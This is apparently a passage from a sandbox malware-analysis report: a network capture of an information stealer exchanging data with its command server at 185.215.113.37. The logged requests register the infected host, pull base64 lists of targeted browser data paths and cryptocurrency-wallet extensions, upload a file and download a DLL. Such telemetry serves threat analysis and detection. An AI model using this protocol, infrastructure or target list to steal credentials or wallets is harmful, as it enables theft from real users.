Oct 10, 2024 10:09:57.149626970 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:57.149645090 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:57.149650097 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.149650097 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.149677038 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.149677038 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.149688959 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.236852884 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:57.237122059 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.263042927 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.471121073 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.783122063 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:57.838838100 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:57.841376066 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:57.844528913 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:58.185580969 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:58.185797930 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:10:02.737229109 CEST	49700	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	185.215.113.37	80	6648	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:09:38.657083035 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 10, 2024 10:09:39.351628065 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:39.354717016 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 39 43 46 32 42 37 37 44 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"159CF2B77D8C1730677652------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build"doma------IJDGCAEBFIIECAKFHIJE--
Oct 10, 2024 10:09:39.602065086 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:39 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 44 49 31 5a 6a 64 69 4d 44 52 68 4e 44 67 33 5a 6a 49 78 4d 6d 55 77 5a 6d 51 77 4e 44 67 78 4f 57 55 34 4d 6a 55 33 5a 54 51 77 4e 57 49 79 4e 7a 41 32 5a 44 67 35 59 6d 51 77 59 7a 4a 68 4d 47 46 6a 4d 57 56 6a 59 6d 4d 7a 59 57 51 35 4e 7a 42 69 4d 54 6c 6b 4d 57 59 34 4e 6a 63 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZDI1ZjdiMDRhNDg3ZjIxMmUwZmQwNDgxOWU4MjU3ZTQwNWIyNzA2ZDg5YmQwYzJhMGFjMWVjYmMzYWQ5NzBiMTlkMWY4Njc0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 10, 2024 10:09:39.603904963 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"browsers------FHIIEHJKKECGCBFIIJDA--
Oct 10, 2024 10:09:39.824187994 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:39 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 10, 2024 10:09:39.824207067 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 10, 2024 10:09:39.826083899 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 2d 2d 0d 0a Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="message"plugins------DHJJEGHIIDAFIDHJDHJE--
Oct 10, 2024 10:09:40.046781063 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:39 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 10, 2024 10:09:40.046859980 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Oct 10, 2024 10:09:40.046874046 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Oct 10, 2024 10:09:40.046892881 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 10, 2024 10:09:40.046912909 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 10, 2024 10:09:40.046938896 CEST	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 10, 2024 10:09:40.046956062 CEST	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Oct 10, 2024 10:09:40.050105095 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="message"fplugins------AFCBAEBAEBFHCAKFCAKE--
Oct 10, 2024 10:09:40.477866888 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:40 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 10, 2024 10:09:40.479257107 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:40 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 10, 2024 10:09:40.591160059 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 185.215.113.37 Content-Length: 5659 Connection: Keep-Alive Cache-Control: no-cache
Oct 10, 2024 10:09:40.591562986 CEST	5659	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 10, 2024 10:09:41.330626011 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:41.620462894 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 10, 2024 10:09:41.838345051 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:41 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 